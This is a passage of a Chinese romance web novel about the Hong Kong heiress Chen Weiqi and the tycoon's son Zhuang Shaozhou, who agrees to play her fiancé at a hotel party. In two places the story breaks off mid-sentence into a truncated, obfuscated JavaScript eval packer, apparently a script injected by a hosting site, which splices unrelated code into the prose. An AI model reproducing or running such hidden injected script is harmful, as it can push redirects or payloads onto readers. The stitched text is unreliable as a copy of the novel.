郑启珺打趣道:“不要双标——男人幻想女人司空见惯,女人幻想男人无可厚非。” 庄少洲失笑,“是吗?幻想是因为他们得不到。”他垂下眼,吁出缭绕的烟雾,嗓音沉缓了下去,隐藏着一丝不易察觉的倨傲,“我不需要。” 他顺风顺水的二十八年,对任何人任何事任何物都唾手可得,他不需要幻想,包括陈薇奇。他不需要靠幻想得到陈薇奇,他若是想要她,就会实实在在的要。 郑启珺不予置否的态度,“我还不知道你。” “傲慢。”他吐出这个字。 郑启珺并不能说非常了解庄少洲,但有一点,他确信——庄少洲绝不是一个好接近的男人,他骨子里有极其强势、征伐、傲慢的一面,他只是伪装得很完美。 他英俊倜傥的好皮相,还有斯文绅士的派头都相当具有迷惑性,以至于那么多女人都抱着必胜的心态扑过来,最后扑得满身狼狈。 郑启珺想到了陈薇奇,这个女仔也是难搞的,他不由地带了看好戏的心态,嘴角笑得邪气:“就看你和陈北檀的妹妹谁斗得过谁了。照现在这局势,我怎么觉得你要输掉底裤。” 庄少洲随手在果盘里捡了一个山竹砸过去,“乌鸦嘴。” 点的简餐很快就送到,一份和牛三明治,一份凯撒沙拉,一杯鲜榨胡萝卜橙汁。会所的厨房记得每位客人的口味,庄少洲每次来,厨房都会榨一杯果汁,带胡萝卜的。 庄少洲慢条斯理吃完,随后吩咐厨房以后都不必在他的食谱上加胡萝卜。 包厢里有人瞧出庄公子心情一般,送上自己带来的女伴。 那女孩生怯地来到庄少洲身边,没人让她坐她也不尴尬,就乖巧站着。脸很漂亮清纯,身段优美,看上去像学跳舞的大学生,一头及腰的长卷发在洁净的灯光下乌亮乌亮。 “庄公子…我调酒还不错,您要尝尝吗?”女孩温柔地将一杯蓝紫色的鸡尾酒放在庄少洲手边的托盘上,声音很媚,好似刻意练过。 “这杯酒的名字叫鲁伯特之泪。” 这是一杯很漂亮的酒。 庄少洲眯了眯眸,骨节分明的手指虚虚捏住杯梗,轻微地施加一点力,那颗水滴形的冰块在杯中轻轻晃荡,深蓝和滟紫色的液体迅速融合,泛出一种冷艳蘼丽的光泽。 陈薇奇。陈薇奇。 他脑中再一次,无端地,浮现出她那张空洞又漂亮的笑脸。 从前在社交场上见过她,她也是笑得很招眼,但并不空洞。 她每次出现,绝对是最风光的,华丽璀璨的女人在名利场上游刃有余,有一种不让人讨厌的野心,当然也很激起男人的野心。 谁都想要最好的最漂亮的最昂贵的。 “鲁伯特之泪。”庄少洲低低地念出这杯酒的名字。 融化的玻璃自然滴入水中,就能形成一种状似眼泪,却又无坚不摧的物质,即使是子弹也无法击碎,可是这样坚硬的东西却有着最柔软的软肋,只要轻轻捏住尾部,就会瞬间破碎,灰飞烟灭。 这就是坚硬又脆弱的鲁伯特之泪。 “庄少尝尝看嘛,味道不错呢。”女孩撒娇地催促。 庄少洲松开手指,姿态倦懒地看向面前的女孩,准确来说不是看她,是看她那一头长卷发。 留这么长的头发,需要多久?一年,两年,还是很多年?剪掉这样一头长发又需要多久?半小时,十分钟,还是一念之间。 到底有多爱那个男明星,才肯为他剪掉这样一头长发。 女孩见庄少洲一直盯着她,目光幽深,羞赧地垂了眼帘。 眼前的男人过于俊美了,那双眼沉冷又含情,浑身上下散发着禁欲又放纵的气质,这种矛盾很是蛊惑。她不肯放过这次一步登天的机会,正要顺势贴到庄少洲身边时,她听见男人很嘲讽地一声低哂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一连数日,这场代号为“黑豹”的台风悄悄过境,天气放晴,维港的云烟雨雾散了大半,鳞次栉比的高楼露出了原貌。 台风天这几日,陈薇奇都是开着一台大G上班,车身太高,穿短裙上下车很麻烦,像攀岩似的,等台风一走,她就换了跑车开,又总觉得哪里不对劲。 没有改造过的兰博基尼的轰鸣声太像拖拉机了,简直比易思龄还吵闹,刚启动陈薇奇就熄了火。 她坐在不舒适的驾驶舱,逡巡着车库里七八台车,终于想起来,自己的阿斯顿马丁还在庄少洲的秘书手里。那是她最常开的一台,所有数据都按照她的喜好定制,不论是车内的隔音还是操控性都非常完美,当然,价格也是惊心动魄的美丽。 说好的天气好些就还回来,现在台风都走了两天。 “这个白秘书…怎么比易思龄还不讲信用。” 陈薇奇数落了一句,可是对方忘了,她也没辙,当时把车钥匙给对方的时候,她只留了助理的号码,现在根本联系不上对方,唯一的方法就是她主动去庄少洲的地盘找人。 庄少洲这几天没有找过她,大概率是被她惹恼了。 她光明正大地把那束花留在包厢,等于是打他的脸,他这种男人,哪里有过送束花还送不出去的时候。 她并不想惹怒庄少洲,这对她没好处,那天晚上把花留下,纯粹是一身反骨作祟。 从商人的角度来说,她那样做其实很愚蠢。被陈北檀知道了,又该说她不懂利弊。 陈薇奇漫不经心地敲着方向盘,忽然拿起手机翻进邮箱,找到那个叫Cora的助理。 她组织语言后,打出一行行字:【你好,Cora,我的车钥匙在庄生身边的白秘书那里,想请你帮忙带句话给他,他今天若得闲,就把车送过来,或者我叫助理去取。多谢你。】 地库很暗,画着精致淡妆的面容被屏幕光映亮,手机熄灭的瞬间,眼尾一点迤逦也跟着寂灭。 很快,快到邮件发过去还没有一分钟,手机重新亮起,一抹光重新跃入眼底。 一封未读邮件躺在信箱里。 陈薇奇的心脏随之莫名砰了下,这大清早的,回复速度也太快了吧? . 深蓝色的加长版宾利从坐落在大浪湾附近的庄宅缓缓驶出,这幢豪宅独占一片山头,植被环绕,毗邻海湾。出主门后也是庄家的地盘,私人山道长达三公里,蛰伏在一望无际的绿色之中,途经一座私人高尔夫球场和三座保安岗。 降下车窗,静得只剩下鸟鸣与微风。 庄少洲松弛地靠着椅背,长指把玩着那匹阿斯顿马丁的车钥匙,钥匙扣很可爱很小女生,挂着一只蓝色的皮质小狗。 收到陈薇奇的来信,他并没有很惊讶,仿佛算准她会主动来找,有种势在必得的笃定。不是今天,就是明天。 男人掌心握着这只小狗,指腹缱绻地摩挲了几下,随后把钥匙妥帖地收进口袋。 他没有让对方久等,很快回复:【中午有空,可以送过来。陈小姐,你在哪?】 . 6.一个钟 中午有时间很正常,都是忙得颠三倒四的打工人,有时候吃饭都要赶,中午能抽出时间来实属不易。 陈薇奇也不折腾,只说:【麻烦了,我中午会在星顶酒店参加酒会,让白秘书到了之后打我助理电话。】 庄少洲看着手机,沉吟了片刻,想起今天中午星顶酒店是有一场酒会,助理给他发过邀请函,他嫌事多抽不出身,就没打算去。 刚要回复过去,对方又发来一封邮件。 陈薇奇:【Cora,这事不用向你们老板汇报,让白秘书也不用提,多谢,改日你得闲,我做东,约你喝下午茶。】 庄少洲眸色深,斯文又讲礼:【多谢陈小姐。】 . 中午的酒会是星顶酒店为庆祝“缦臻艺术酒廊”顺利开业而举办的。星顶是易家旗下的豪华酒店品牌,自从两年前交给了长女易思龄经营,酒店风格就往顶级高奢的调子上一路狂奔。 缦臻艺术酒廊是酒店今年打造的新亮点,不仅聘请了转为奢侈品门店做设计的团队来装修,更是大手笔购置了几千万的艺术品。今天是酒廊开业日,请来了圈内大把名流贵胄,艺术名家。 易家大小姐的面子,人人都稀罕卖。 陈薇奇也卖这个面子,连下午的工作都推了,不过她来这场酒会并不纯是捧易思龄的场,是她需要在社交场露面了。 自从宣布和周霁驰分手后,她就断掉了一切社交,什么派对、宴会、沙龙、下午茶、出海、逛街、SPA、打麻将,通通不参与,连群里的聊天都不露面,她能想象到那一群千金小姐私下怎么编排她。 港岛的豪门圈虽然复杂但不大,家世相当的女孩都能混个眼熟,不过能玩到一块不代表能交心,多的是表面玩到一起私下看不顺眼的,女孩一多心思就多,方方面面互相较劲,名利场上谁也不肯落下风,都希望自己是最风光的那个。 陈薇奇从来都是众星捧月的焦点,多得是人捧她,也多得是人想看她摔下来。 她太清楚这个圈子的残忍所在,不过最残忍的或许是——她心如明镜却从未想过要逃走。 陈薇奇沉静地注视着车窗外练成一线的风景,想到了一些深夜的碎片。 “这个世界上能得到爱情的只有两种人,一种是幸运儿,爱上了刚好合适且需要的那个人,另一种就是勇敢者,比如小美人鱼,舍弃了声音来换一双走向爱情的腿。薇薇,你既然不是第一种,你就得拿一些东西去换。既要又要,只会什么也得不到。二哥不聪明,不能替你做决定,你得自己选。” “二哥,就必须要放弃吗?” 黑暗中,陈薇奇哽咽而沙哑的声音宛如一株快要枯竭的花。 “必须要。”向来嬉皮笑脸的陈南英如此认真,严肃地注视着她的眼睛,“二哥放弃了陈家的一切才换来了自由。薇薇,你敢放弃一切吗?” “我……二哥你都敢,我为什么不,大不了我和他去别的地方定居,内陆,澳洲,英国,随便哪里都可以,没有陈家,我的积蓄也够我和他生活一辈子,再说他这几年也赚了很多钱。我们能过得非常富足。” 她强调富足二字。 可富足是什么呢?一百万叫富足,一千万叫富足,一个亿也叫富足,可陈三小姐是几百亿上千亿的富贵浇灌出来的,金钱,权势,荣耀,缺了一个都会枯萎。 陈南英笑了一声,好似看穿了她的心虚和强装,“你愿意,那他愿意你这样做吗?好,就算他也领受了,失去大海的小美人鱼最后只能变成海上的泡沫,薇薇,你有没有想过,你最后会变成怎样的人。” “我还记得你十八岁许的生日愿望。” 她许了什么愿望?以至于陈北檀和陈南英,还有所有人都记得深刻。 她许,她要风光一辈子,要做陈家最成功最厉害的女人。 陈薇奇笑了笑,擦掉眼泪,“是我头脑发热了。二哥。这些话,你就当没听过。不然我好丢脸啊。” 陈南英揉了揉她的头发,声音含着苦涩,“薇薇,其实是二哥对不起你。不是有我这个前车之鉴,爸爸不会这样反对你们。” 陈薇奇摇头,没有说话。 陈南英进入娱乐圈后,不出一年官宣出柜,整个港岛哗然,陈烜中得知消息后差点气得中风,他认定是娱乐圈里面那些歪风邪气污染了自己儿子,从此痛恨一切和娱乐圈沾边的东西。 陈薇奇不记得那天晚上和二哥喝了多少酒,只知道她打开保险柜,把里面所有的珠宝和现金都倒出来,堆山积海的白钻,黄钻,粉钻,祖母绿,蓝宝石,鸽血红,珍珠,翡翠,黄金,还有纷扬扬的钞票,像浪潮扑过来。 她看上去像一条躺在宝石山洞里的龙,长发凌乱铺散,有种纸醉金迷的阴郁。 是在那一晚做出的抉择,她的抉择如此的顺理成章,如此的理所应当,甚至来不及擦掉眼泪。 陈薇奇这个名字天生就该站在最风光最贵的地方,不论要失去什么。 也许她会孤独一辈子,也不会再有人纯粹且毫无保留地爱她,而她心甘情愿领受代价。 . 酒店今日的安保管控很严格,一台低调的雷克萨斯商务车被安排从VIP通道驶入,缓速绕过花园喷泉,停靠在酒店正门。车门自动打开,身材标致的门童小哥快速上前,侧身而立,右手护住车顶。 一只精致的脚掌踩着银色高跟鞋跨过车门,修长白皙的小腿从晚礼服中泄露一截。随着主人优雅下车,流光溢彩的裙摆滑落,遮住美景,不过随着主人的迈步,长腿又在高开叉的中若隐若现。 陈薇奇一下车就有无数道闪光灯对准她,媒体们眼睛尖,不停地冲那道姝艳华贵的背影喊Tanya。 几名保镖把陈薇奇遮得严严实实,镜头能遮住,声音却遮不住,短短几步路而已,没事搞事的娱记们生怕没头条,字字句句都生猛—— “Tanya!剪头发是为了驰仔吗!” “陈小姐,您看了新上映的《三个房间》吗,驰仔在里面好靓啊!!” “这是驰仔第一次拍大尺度激情戏,你们是不是因为这个分手啊!” “下个月蕤铂的沪城大秀,驰仔也会去吗!” 陈薇奇步伐不停,高跟鞋踩得很稳,蹙起的眉头很快就舒展,她的笑容堪称完美无瑕,只是底下浮着的底色愈发冷寂起来。 负责接待陈薇奇的礼宾面色紧张,再三为刚刚的事道歉,并表示她会一一警告那些媒体不乱写,陈薇奇说了句没事,穿过恢弘华丽的大堂,随后上了电梯。 助理美悠瞥着大小姐的背影,不知为何,有些心疼。她陪在陈薇奇身边多年,一直帮陈薇奇打理生活上的琐碎杂事,可以说她见证了陈薇奇和周霁驰从在一起到分手的全过程。 她用只有两人才能听见的声音悄悄问:“还好吗?” 陈薇奇温和地看她一眼,“等会会有人过来送车钥匙,你记得接电话。” 美悠点点头,到底没再多问,她莫名做了个深呼吸,高档酒店就连空气都是馨香而洁净的。 缦臻艺术酒廊在酒店高层,坐在窗边喝下午茶,能不费吹灰之力地欣赏到整座维多利亚港湾的风姿,云收雨霁的天色蓝得澄明透亮,海水也蓝,酒廊的装潢也用了冷调的蓝色,一切都像梦幻般的海。 陈薇奇今日的礼服也是蓝色,以至于软包门拉开的瞬间,宾客们看过来,仿佛看见了自海底而来的维纳斯。 陈薇奇平静地走进来,在各种目光中不以为意地抬手,掖了掖精心打理的短发,微笑地和熟人打招呼。 “Tanya…好久不见你了…” “那你想我没?” “想啊!想死你了!” “Tanya!你家GW今年春夏的裙子好难抢啊,尤其是宋玥穿过的那条,我的sa说全港岛都没了,我不管啊,你得给我去搞一条……” ………… 酒会的东道主易思龄正在和几个小姐妹聊天,花团锦簇的女孩们围在一起,连空气都浮着一层甜腻香风。 “那个帅哥画画的真不错呢,我说我要买他的画,问他开个价,他反过来问我如果卖五百欧会不会太贵了,笑死了,我当时就给了他一万现金,差点把他吓死。”易思龄娇滴滴地说着她上个月去米兰买画时的一场邂逅。 “你和他睡了?”一道好奇的声音响起。 易思龄倏地瞪圆眼睛,脸都红了,“你、乱说什么啊!你以为我是你,我从不和臭男人睡觉——” 其中一个眼尖的姐妹发现了陈薇奇,连忙推了下易思龄的胳膊,喊她去看。 “推什么啊…”易思龄被打断,娇气地抱怨。 “快快快,Tanya来了!!” “Tanya?死女人来了?” 易思龄一惊,猛地回头,她的眼睛是过滤器,丑的土的装腔作势的压根入不了她的眼,所以她都不用问,一眼就看见陈薇奇。 女人本来就有一米七,踩着高跟鞋更显高挑而修长,一袭流光溢彩的蓝色长裙贴合着她性感的身材,高开叉,深V,收腰,沙漏般的曲线被勾得淋漓尽致,何况还有各种昂贵的珠宝加持,整个人闪耀得就像是… 来抢风头的。 易思龄拨弄着腕上的钻石手镯,冷笑一声,一骨碌站起来,径直往陈薇奇那走去。被甩下的几个女孩面面相觑,知道这两人又要明争暗斗一番,不愿错过这场热闹,都跟着去。 陈薇奇仿佛有预感,笑着回过头,于觥筹交错中对上一张骄纵的漂亮脸蛋。她举起手中的白葡萄酒,隔空扬了扬。 易思龄走过来,优雅地对其他几位客人说了句“不好意思,借Tanya一用”,随后拉着陈薇奇的胳膊,朝安静的地方走去。 “喂,拽痛我了。”陈薇奇懒洋洋地说。 易思龄狠狠掐了一下,陈薇奇痛得出声,她这才悠闲松手,“别介意,我就是看见你来太高兴了,宝贝。” 陈薇奇就当自己被猫咬了一口,揉着手臂,懒得和她玩口蜜腹剑,“你发什么癫。” 易思龄怒瞪她,“你发癫吧,今天是我的场子,你打扮得这么靓做什么?你要抢我风头你直说,别弄这些上不得台面的小手段。我真是瞧不起你。” 陈薇奇笑,说她怎么就抢风头了。易思龄鼻息里哼出一声,“一个小酒会,我邀请函里都写了,dresscode是鸡尾酒礼服,你穿什么走红毯的高定,一身珠光宝气,你这不是要抢我风头吗?” 她指着陈薇奇食指戴的鱼尾戒指,是蕤铂还未公布的高珠系列,批评说:“浮夸。” 陈薇奇把戒指取下来,拉起易思龄的手,就当赏给自己的小猫,“行了行了,拿去玩。” 易思龄挑眉,欣赏着陈薇奇进贡的鱼尾巴,这才舒服了一点,“我戴着就是比你洋气。” “我还以为你今天不来了。”易思龄收了手指,视线这才扫过陈薇奇那头长度刚好在颈部中间的新发型,其实也没多短,还以为短到耳后根了,“上次不让我找你,我还以为你剃度了见不得人,搞半天也没多短,一些人传来传去就差传你日日以泪洗面了。” 陈薇奇轻笑,“那天我心情不好,你来找我也只会挨骂。” 那天她和陈北檀吵了一场恶架,整个下午把自己锁在家里,谁也不想见。 易思龄果然瞪她一眼,“你别以为你失恋了我就会让着你,你和驰仔怎么闹成这样啊,我前几天在澳门看见他了,瘦了一大圈,都快脱像了,到底是你甩他还是他甩你?神经病吧,你两人感情这么好,无缘无故分什么手啊。” 他们都是读的同一所高中,而且还是一个班,没有陈薇奇这层关系,易思龄和周霁驰也是好朋友。 陈薇奇分手的消息一出,易思龄又惊又急,打了一圈电话,可惜两位当事人都不接,不过周霁驰妥帖很多,给她发来一句: 【别担心,Mia。以后只能请你多照顾Tanya,感谢,有任何需要我的地方都尽管吩咐。】 陈薇奇淡淡地瞥向窗外,天光刺目,她感觉到自己的瞳孔在收缩,“你很吵,Mia。” 易思龄被陈薇奇骂吵,气得脸都红了,还委屈。她也是众星捧月的公主,社交场上骄纵妄为,谁敢说她一句吵? “我爱管你这些闲事,若不是驰仔是我朋友,我问都懒得问!” 这一句声音很大,周围好些宾客都听见了,纷纷投来目光。易思龄的几个小姐妹赶紧走过来打圆场。 港岛富豪多如牛毛,能站上财富顶峰的家族却屈指可数——庄易陈郑陆,被称为五大家族,影响力覆盖方方面面,全盛时期几乎能左右整个港岛的经济。 陈薇奇和易思龄家世旗鼓相当,是港岛最耀眼的两颗明珠,加上两人又明争暗斗,互看不爽,一些豪门千金围绕两人隐隐形成了两派。 “Tanya,今天可是Mia的主场,你不低调点就算了,还来惹她,是不是有些说不过去?” “就算是因为某些原因不高兴……也别把火气撒到Mia身上啊。” 陈薇奇没工夫在大庭广众之下扯头花耍嘴皮子,很跌份,淡淡地瞥了一眼易思龄,眼神警告她把这些小跟班管管。 易思龄委屈地咬了下唇,她又没欺负她,刚要说什么,又有一道娇婉温柔的声音响起,“易小姐,我替我姐赔个不是。她最近心情不好,说话是有些气性,您别介意。” 陈薇奇蹙了眉心,冷淡地望向声音的主人。 陈心棠为了参加今日易思龄的酒会,穿的礼服配的首饰都是对方在社交媒体上po过的品牌,投其所好。她大方地看着陈薇奇,微笑说:“Tanya,你心情不好也不能对易姐姐发火吧。” 陈薇奇没想过会在这里遇见陈心棠,据她所知,易思龄和陈心棠并不熟。 陈心棠当然知道自己和易思龄不熟,但不熟也不妨碍什么,只要易思龄喜欢别人夸她哄她捧她。她走到易思龄身边,很亲昵地挽住对方的手,夸赞道:“易姐姐,你手上的戒指真漂亮,什么牌子的啊。” 易思龄讨厌被人乱碰,不动声色地把手抽出来。 陈薇奇看见这这一幕,轻笑了声,漫不经心地说:“若是我没记错,我妹妹应该在圣德中学上国文课。Emily,你都一口一个易姐姐了,不如问问易思龄还缺不缺妹妹,反正她妹妹那么多,多你一个也不多,你换了易姓跟她回浅水湾去啊。” “你发什么神经啊,陈薇奇。”易思龄很不高兴这话。她妹妹是多,但又不代表谁都能当她妹妹。 陈心棠脸上顿时挂不住,拨了下头发,但她打定了主意要巴结易思龄。 陈心棠能参加今天的酒会颇费了一番周折,托关系进了一次易思龄举办的沙龙,才拿到了邀请函。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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场面一时很难看,也很静,各种香气却浮躁地在空气中暗涌,像一种白噪音。 美悠的出现很及时,她其实不太想在这个时候挤进去,一群金尊玉贵的千金小姐各个都能碾死她。 可是,电话是庄先生打来的,她不敢不上报。 “大小姐…车钥匙送来了…”美悠踮脚在陈薇奇耳边说,“庄先生亲自送的…” 陈薇奇诧异地看向她,美悠点点头,谨慎地把还在通话中的手机递过去。 陈薇奇接过,在一群隐秘的目光中把听筒轻轻放到耳边,对方似乎隔着电波感受到她耳廓的热气,一瞬间响起了声音。 低沉的,富有磁性的,迷人的低音炮。 “陈小姐,车钥匙送到了。” 陈薇奇心跳紧了一拍,迅速镇定地问:“你在哪。” “十七楼大堂。” “麻烦稍等,我现在过来。”陈薇奇讲话滴水不漏,挂断电话,把手机拿给美悠。 视线同时慢悠悠地扫过这一圈人,最后定定地落在易思龄身上,似笑非笑地,不乏秋后算账的威胁:“你现在厉害了,易思龄。” 她迈着优雅的步伐,转身离去,类似披风设计的蓝色飘带留下一抹残影。 陈薇奇走后,几个女孩松了口气,毕竟都有些畏惧陈薇奇,又不肯丢面子,说了几句找回场面的话。 易思龄本来就烦,听这些话就更烦,“谁让你们对陈薇奇说那些话!” “…Mia,我们在帮你出气啊。” “是啊是啊,我们在帮你。” “谁让你帮。”易思龄板着脸,“我欺负陈薇奇是我欺负,轮的着你们帮我欺负?” “还有你。”易思龄看着一脸懵圈的陈心棠,“我是你哪门子姐姐。难怪陈薇奇不喜欢你。我也不喜欢你!” 易思龄烦躁地走掉了,又不是她欺负她,凭什么对她放狠话啊。 . 陈薇奇也烦躁,一出酒廊表情就垮下来,不过是一个月没有出来营业,易思龄的塑料小姐妹都敢看她的笑话了,还有陈心棠,是打定主意庄少洲不会待见她,才敢明目张胆地睬她一脚。 烦躁过后是一阵森寒刺骨的冷意,这个圈子就是这样令人恶心,可令人恶心又如何? 她没有泄气或者难受,反而胜负欲更强烈,陈北檀说过,她天生就适合在这里厮杀。 陈薇奇在电梯里深深呼吸,直到宽大阔气的黄铜电梯门打开的那一刹那,她重新挂上微笑,云淡风轻地走出去。 酒店有两个大堂,十七楼专门接待vip客户,环境静谧奢华。 庄少洲闲适地坐在沙发上,翻着一本杂志。他身后的木纹饰墙面挂着一副抽象派油画,色彩浓郁斑斓,衬得他那身端庄的黑色也很耀眼。 质地考究的西装罩住他精悍的体格,头发梳得一丝不苟,有清贵、斯文之感,但还是很欲,他的气质总是在亦正亦邪中游走。 陈薇奇对这种过分侵略性的英俊有些警惕,但还是承认,他有一副顶顶好的皮囊。 陈薇奇没有立即出去,停在电梯厅拐角处,琢磨着庄少洲亲自来一趟的意图。 是Cora告密,还是白秘书?陈薇奇没有指望他们会信守承诺,也没有想过庄少洲会亲自来,送车钥匙而已,何须劳烦他大驾。 不懂,她暂时还看不透这个男人,但他来得正好。 陈薇奇敛了敛面部表情,平稳呼吸,笑盈盈地从拐角走出去,很是八面玲珑。 “送个车钥匙而已,怎么能劳烦庄生亲自来呢。” 女人纤细的小腿已经触及余光的范围,听到这把动人的好嗓音后,男人这才慢悠悠抬眸,“啪”地一声,阖上那本厚杂志。 她今日依旧穿蓝色,不过比上次见他要精心太多,美得像一条从深海而来,跃出水面,被月光淋湿的人鱼。 庄少洲有一瞬间的凝滞,不过凝滞是瞬时的,只有他自己知道。 庄少洲慢条斯理地站起来,对上陈薇奇的笑,解释道:“是我的属下太粗心,忘记了这桩事,才耽误了陈小姐的时间,所以还是我亲自来一趟比较有诚意。” 陈薇奇不太喜欢和庄少洲面对面站着,他太高了,压得她活生生矮一头。她今天可是穿了十厘米高跟鞋!居然都不能平视他! “客气了,庄生。” 庄少洲把钥匙从西装内侧口袋里拿出来,那只皮质小狗沾满了他的气味和体温,骨节分明的手指递过去,“应该的,陈小姐。车就停在酒店门外。” 陈薇奇迟疑了几秒,接过,手指捏住那只小狗,捏到了一片温热。不知为何,她有些不合时宜地别扭,就连指腹都烫了起来。 垂下眼,她把钥匙握紧在掌心,思考了几秒后,她抬头,再次对上男人的目光。 陈薇奇大方展露笑颜,“想问一下,庄先生一个钟多少钱?” 问得太跳脱了。 庄少洲眉峰微挑,沉吟片刻后,目光中多出两分幽深。 “陈小姐是要买我。”他语气温沉,不是问,是陈述句。 一个女人要买他。 这简直是他二十八年人生中最新奇的事。 陈薇奇迎接他的打量,蘼丽嗓音从她红唇中吐出:“是,庄先生。” “我买你一个钟,你陪我。” . 7.未婚妻 那些女人说她搞不定庄少洲,她就是花钱也要搞定,假的也要装成真的。 陈薇奇不是忍让的性格,她骄傲,要强,记仇,小心眼。有谁要看她摔得很惨,她就越要站得更高。 每当这种时候,周霁驰就会温柔地抱她在怀里,问她会不会累。 “是很累啊,但我看到她们想踩我又没本事踩我的样子,我就好开心,还得谄媚地夸我穿得漂亮,笑死啦。”陈薇奇得意地昂着脑袋,一双妩媚上挑的狐狸眼很明亮。 “也许她们在真心夸赞你。” 男人的声音像清冽的流水,嘶嘶从耳边淌过。 她笑,戳着男人骨相优越的鼻子,“阿驰,别把人想得太好了。这个圈子就是拜高踩低,弱肉强食,但凡我哪天落魄了,或者栽了个跟头,我肯定被她们踩成碎片。” 男人沉默了片刻,随后点头,眸色真挚,有一丝她看不懂的情绪,“你不会,你永远都会风光。但我希望你能真正开心。” “我就是真开心!” 陈薇奇嗔他一眼,不懂他为什么就是不肯信,“你这么辛苦拍戏,不就是为了拿影帝吗,你要狠狠打那些看低你的人的脸,阿驰,你不止会拿一座,你还会去威尼斯,戛纳,奥斯卡…阿驰,你会成为这个时代的巨星,红透半边天。” 男人笑着握住她飞扬的手,“我只是喜欢拍戏,其他的我不在乎。” 赶在她生气之前,他补充:“不过拿影帝了身价的确会更高,能给薇薇的买更多好看的石头。” ………… 滋滋滋。 耳边好似淌过流水的白噪音,又或者像一段来自久远电台被遗弃的电波。 陈薇奇看着眼前轩昂挺拔的男人,眼眸始终带着笑意,只是笑意很浮,和她刻意带点娇媚的声音一样。 都不太真心。 庄少洲知道陈薇奇这个女人对他没一点真心,她的真心都耗在别人那儿,他们第一次见面时,她就侧面暗示过他了。 当他那晚听不出来吗?主动提起前任,看似是云淡风轻,毫不在乎,实则是在乎到了极点,就连分手了都要护着。 怕他对她心上人做些什么,所以提前撇清干系,安他的心。 “需要我做什么。”庄少洲勾出一丝笑来。 “陪我参加酒会就好,还有…”陈薇奇顿了顿,眼中有些不自然但很快掩饰,“需要庄生扮演一位合格的未婚夫,不知道会不会太过分?” “未婚夫”三个字让庄少洲不动声色地滚了下喉结,“怎么才算合格。” “对我百依百顺,听我的话,黏我,宠我…就这些,一小时而已,应该不会很难熬,如果这要求很过分,我可以加钱。” 加钱二字咬着重音。 “……………” 庄少洲轻笑了声,他忽然觉得陈薇奇很可爱。 他疯了,他这是斯德哥尔摩。 “成交?”陈薇奇歪了下脑袋,耳垂上复杂的珍珠耳环在空中轻轻晃荡。 庄少洲低低地嗯了声,抬手把领带束得更规整。他今日穿得非常正式,金色的袖扣领针皆是考究,暗蓝色的领带泛着光泽感,系着一个优雅的埃尔德雷奇结。 这是一种非常复杂的领带系法,因为太复杂太费时而逐渐淡出视野,鲜少有绅士会系。也不知系这种领结的绅士要去见多重要的人,才愿意在一条领带上花费如此的心思。 “这个领结很特别。”陈薇奇第一次见到有男人系这种领结,像一朵含苞的玫瑰花。 庄少洲瞥她,“你喜欢吗。” 很暧昧的一句,陈薇奇心头惊了下,防备性地后退半步,看着他。她觉得他有些轻佻了,是看见漂亮女人就会这样吗,故意说些让气氛暧昧的话。 庄少洲无声地笑了笑,绅士地抬起臂弯示意她搭上来,“走吧,未婚妻。” 陈薇奇眨了下眼睛,缓缓地伸出手,轻搭在他的臂弯。不知为何,心脏有些发紧,也有些说不出的怅然。 . 俊男靓女的组合在哪里都惹眼,更何况是陈薇奇和庄少洲。都是圈里公认的顶级颜值,还有身高、气场、气质都如此契合,走在一起居然没有谁的风头胜过谁,他们看上去像一对交相辉映的璧人,出乎意料地契合。 酒店的员工、客人频频打量他们,有外地来的客人悄声问前台小姐,今天是不是有明星在酒店参加活动。 陈薇奇感受到许多视线落过来,这加剧了她内心的别扭。 一周前他们还是社交场上点头之交的路人,此时,他们将以未婚夫妻的名义同框出现,不可能不别扭。 进电梯后,只有他们两人,一不说话气氛就静极,细微的轨道运行声在耳边嘶嘶而过,这种安静暴露了她的不自然。 最变态的是轿壁里面装饰着光可鉴人的水晶镜,雪花似的切割造型,从各种角度照着他们。 陈薇奇又在心里骂了一遍易思龄,神经,一个电梯都要整花活。 “你看上去挺高的。”陈薇奇装作淡定地找话聊。 “还行。”庄少洲透过其中一片镜子,看见陈薇奇那双站得笔直的腿。 陈薇奇翘了下唇角,“庄生好谦虚,你看上去估计有一八八了。” 也许不止,她穿着十厘米的高跟鞋,平视过去只能看见他的喉结、下颌。 “今年还没有量,去年的指标是一米九一。” 这么高? 陈薇奇小小震惊了下,又不知该说什么,于是笑了笑:“那真的是…很高了。高个男生穿衣好看呢。” 庄少洲抬了抬唇角,转过脸看她。 这个高度差让他唇瓣稍低就能触碰到她的发丝,起伏的呼吸都洒落在她头顶,他轻描淡写地说:“很高吗?比你前男友高3.5厘米而已。” 陈薇奇没能立刻从这句话中反应过来,愣在那,这一刹的情绪伪装不了,尽数被庄少洲看在眼里。 她倏地仰起脸,撞进对方那双似笑非笑的眸。 “庄少洲!!” 她恼羞成怒,当即把手从他的臂弯中撤离,可是对方似乎知道她会这样,手臂骤然伸过去,强势地揽住她腰肢,把她整个人扣进怀里。 他的手臂力量远比想象中可怕,她挣脱不了分毫,只能被迫呼吸着他身上的气息,那种温暖和清苦交织的味道,像一片金色的旷野,被阳光烤得很热。 “庄少洲,你别太过分。”陈薇奇绷着身体,手掌撑住他胸口,尽量不让自己的身体贴着他。 庄少洲搂她搂得更紧—— 镜子里,他们交叠的身影暧昧又美丽。他口吻似有些疑惑,淡淡地,“不是都已经放下了吗,怎么一提到他你就炸毛。” 陈薇奇冷笑,可垂下来的指尖在微微颤抖,“别贼喊捉贼,我都没提你那一大堆前女友,你倒是先来膈应我。” “你从哪里道听途说我有一大堆前女友?”庄少洲稍微俯身,一张浸在浓影中的脸靠近她。 那种很复杂的香气蔓延过来,佛手柑依旧浓郁。 